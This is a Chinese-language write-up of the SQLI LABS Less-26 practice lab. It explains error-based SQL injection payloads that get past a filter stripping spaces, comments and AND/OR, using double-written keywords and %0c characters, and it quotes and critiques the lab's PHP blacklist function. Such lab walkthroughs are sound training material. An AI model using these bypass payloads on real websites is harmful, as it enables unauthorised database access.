当前位置: 首页 > news >正文

SQLI LABS | Less-26 GET-Error Based-All Your SPACES And COMMENTS Belong To Us

关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客

0x01:过关流程

输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):

 http://localhost/sqli-labs/Less-25/

本关考察的是 SQL 注入的绕过姿势,至于发现注入点,相信强大如你已经很容易测出来了,所以这里笔者就不多废话了。

直接上基础 Payload,并观察过滤后的内容:

 ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)#

如上,and 被置空,我们可以双写绕过;注释符也没了,问题不大,那就不要它了,所以新版 Payload 如下:

 ?id=1' anandd updatexml(1,concat(0x7e,database(),0x7e),1) anandd '1

最后一个,空格被过滤了,咋搞?那就找有没有能替代空格的符号呗。我们可以利用 BurpSuite 进行爆破。首先,打开 BurpSuite,并访问携带参数的靶场进行抓包:

 http://localhost/sqli-labs/Less-26/?id=1%27%20anandd%20updatexml(1,concat(0x7e,database(),0x7e),1)%20anandd%20%271

如下,设置爆破的 Payload 为数值型十六进制。ASCII 码的范围是 0 ~127,我们也只要爆破这么多即可,Payload 设置如下:

爆破完成后,按返回包的长度升序排一下就可以发现可用的值啦:

以下是笔者测试出来的一个可用的 Payload(记替代是不可能记的,记思路即可):

 1%27%0caandnd%21updatexml(1,concat(0x7e,database(),0x7e),1)%0caandnd%0c%271

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,SQLI LABS Less-26 GET-Error Based-All Your SPACES And COMMENTS Belong To Us 成功过关。

0x02:源码分析

下面是 SQLI LABS Less-26 GET-Error Based-All Your SPACES And COMMENTS Belong To Us 后端的部分源码,以及笔者做的笔记:

 // 下面就是本关的过滤函数function blacklist($id){// OR 给你过滤了,过滤的不好$id = preg_replace('/or/i', "", $id);           //strip out OR (non case sensitive)// AND 给你过滤了,过滤的不好$id = preg_replace('/and/i', "", $id);      //Strip out AND (non case sensitive)// 如果你上网搜索空格绕过,肯定会有 /**/ 可以替代空格,也给你过滤了$id = preg_replace('/[\/\*]/', "", $id);        //strip out /*// 过滤注释符 --$id = preg_replace('/[--]/', "", $id);      //Strip out --// 过滤注释符 #$id = preg_replace('/[#]/', "", $id);           //Strip out #// \s 是过滤了所有的空格字符 => 过滤的不好哈$id = preg_replace('/[\s]/', "", $id);      //Strip out spaces// 去掉斜杠??我是不是漏了啥绕过方式$id = preg_replace('/[\/\\\\]/', "", $id);      //Strip out slashesreturn $id;}

http://www.mrgr.cn/news/64486.html

相关文章:

  • Android 解决MTK相机前摄镜像问题
  • OpenEuler 使用ffmpeg x11grab捕获屏幕流,rtsp推流,并用vlc播放
  • Redis数据类型深度解析与拓展
  • qt QStatusBar详解
  • Vue学习记录之二十七 路由router的使用
  • unity搭建场景学习
  • 【毫米波雷达(五)】车载毫米波雷达SDA售后标定流程
  • YOLOv6-4.0部分代码阅读笔记-yolo_lite.py
  • 01 DSA-- 二叉树
  • springboot 自动装配和bean注入原理及实现
  • C++ | Leetcode C++题解之第528题按权重随机选择
  • 【CSS in Depth 2 精译_056】8.4 CSS 的新特性——原生嵌套(Nesting)+ 8.5 本章小结
  • C语言 | Leetcode C语言题解之第528题按权重随机选择
  • adb 远程调试,手动修改 adb 调试授权信息
  • C++/list
  • 【A】【Maven项目热部署】将Maven项目热部署到远程tomcat服务器上
  • C语言:初识入门篇
  • oracle 月份加减一个月
  • Pinctrl子需要中client端使用pinctrl过程的驱动分析
  • 计算机毕业设计Hadoop+大模型地震预测系统 地震数据分析可视化 地震爬虫 大数据毕业设计 Spark 机器学习 深度学习 Flink 大数据
  • C语言300行-投篮
  • 2、Qt6 Quick 会转的小风车
  • 第二十七章 Vue异步更新之$nextTick
  • 2024年【金属非金属矿山(地下矿山)安全管理人员】复审模拟考试及金属非金属矿山(地下矿山)安全管理人员实操考试视频
  • 计算机的错误计算(一百四十二)
  • 万字长文详解Hive聚合函数 grouping sets、cube、rollup原理、语法、案例和优化